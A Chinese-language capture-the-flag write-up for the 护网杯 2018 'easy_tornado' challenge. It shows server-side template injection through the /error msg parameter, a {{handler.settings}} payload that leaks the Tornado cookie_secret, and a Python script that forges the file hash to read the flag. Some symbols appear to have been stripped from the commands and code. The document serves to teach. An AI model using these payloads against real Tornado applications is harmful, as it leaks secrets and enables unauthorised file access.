[护网杯 2018]easy_tornado学习笔记

发布时间:2026/7/27 4:44:14
[护网杯 2018]easy_tornado学习笔记 正文一、代码审计信息收集二、SSTI漏洞分析与利用1. SSTI 定义2. 使用三、Tornado泄漏 cookie_secret四、计算flag正文一、代码审计信息收集访问首页发现三个文件链接ahref/file?filename/flag.txtfilehash49b3207af7a7a889737b9dce644875d8/flag.txt/aahref/file?filename/welcome.txtfilehash15f3b09568a454fd93c590fb81859bb3/welcome.txt/aahref/file?filename/hints.txtfilehashe480792a6a2b1b90ec09a6fb64754daf/hints.txt/a分别访问后获得关键信息文件内容含义/welcome.txtrender提示使用 Tornado 的 render 模板渲染/hints.txtmd5(cookie_secretmd5(filename))文件校验 hash 的计算公式/flag.txtflag in /fllllllllllllag真正的 flag 文件路径/hints.txt文件里关键发现filehash的计算公式为filehash md5(cookie_secret md5(filename))要访问 flag 文件必须知道cookie_secret。二、SSTI漏洞分析与利用1. SSTI 定义SSTIServer-SideTemplateInjection服务器端模板注入这是一种漏洞发生在后端使用模板引擎如 Tornado、Jinja2、Twig、Django 等渲染页面用户可控的数据如 URL 参数、表单输入直接传入模板引擎进行渲染攻击者可以构造恶意的模板表达式被模板引擎执行2. 使用当我们访问/file接口并传入错误的filehash时:curl-vhttp://1668a40ffb8a47645b9cc623.http-ctf2.dasctf.com:80/file?filename/flag.txtfilehashwrong21|grepLocation服务器会返回 301 重定向 Location: /error?msgError那我们就直接直接访问/error?msgtest123GET /error?msgtest123响应中test123被直接回显到 HTML 中说明msg参数被 Tornado 模板引擎渲染——存在 SSTI 漏洞。验证 SSTIGET /error?msg{{handler}}得到响应bodylt;__main__.ErrorHandler object at 0x7f23275232d0gt;/body确认handler对象可访问SSTI 有效。三、Tornado泄漏 cookie_secret在 Tornado 中handler.settings存储了应用配置包括cookie_secret。因此直接构造PayloadGET /error?msg{{handler.settings}}成功获取cookie_secret 1fbb6c04-fd49-4e89-8b63-79f8fea1c8a1。四、计算flag根据 hints.txt 给出的公式计算/fllllllllllllag的 filehash# 导入Python内置哈希加密库用于实现MD5加密算法importhashlib# 定义固定密钥字符串属于题目给出的加密盐值/私密密钥cookie_secret1fbb6c04-fd49-4e89-8b63-79f8fea1c8a1# 定义需要加密的目标文件路径字符串是加密原始明文filename/fllllllllllllag# 第一步加密流程# 1. 将filename字符串转为bytes字节流MD5加密只支持字节数据# 2. 调用md5()创建md5加密对象完成加密# 3. hexdigest()把加密结果转为32位十六进制小写字符串# 最终得到文件名单独MD5加密值赋值给m1m1hashlib.md5(filename.encode()).hexdigest()# 第二步加密流程二次加盐加密# 把私密密钥cookie_secret和第一步加密结果m1拼接成新字符串# 再次整体进行MD5加密得到最终加密哈希值filehashfilehashhashlib.md5((cookie_secretm1).encode()).hexdigest()# 格式化打印第一次MD5加密结果print(fmd5(filename) {m1})# 格式化打印二次加盐加密后的MD5加密结果print(ffilehash {filehash})最终请求GET /file?filename/fllllllllllllagfilehash52f5ee2cec41071eba1191f4abdc3f77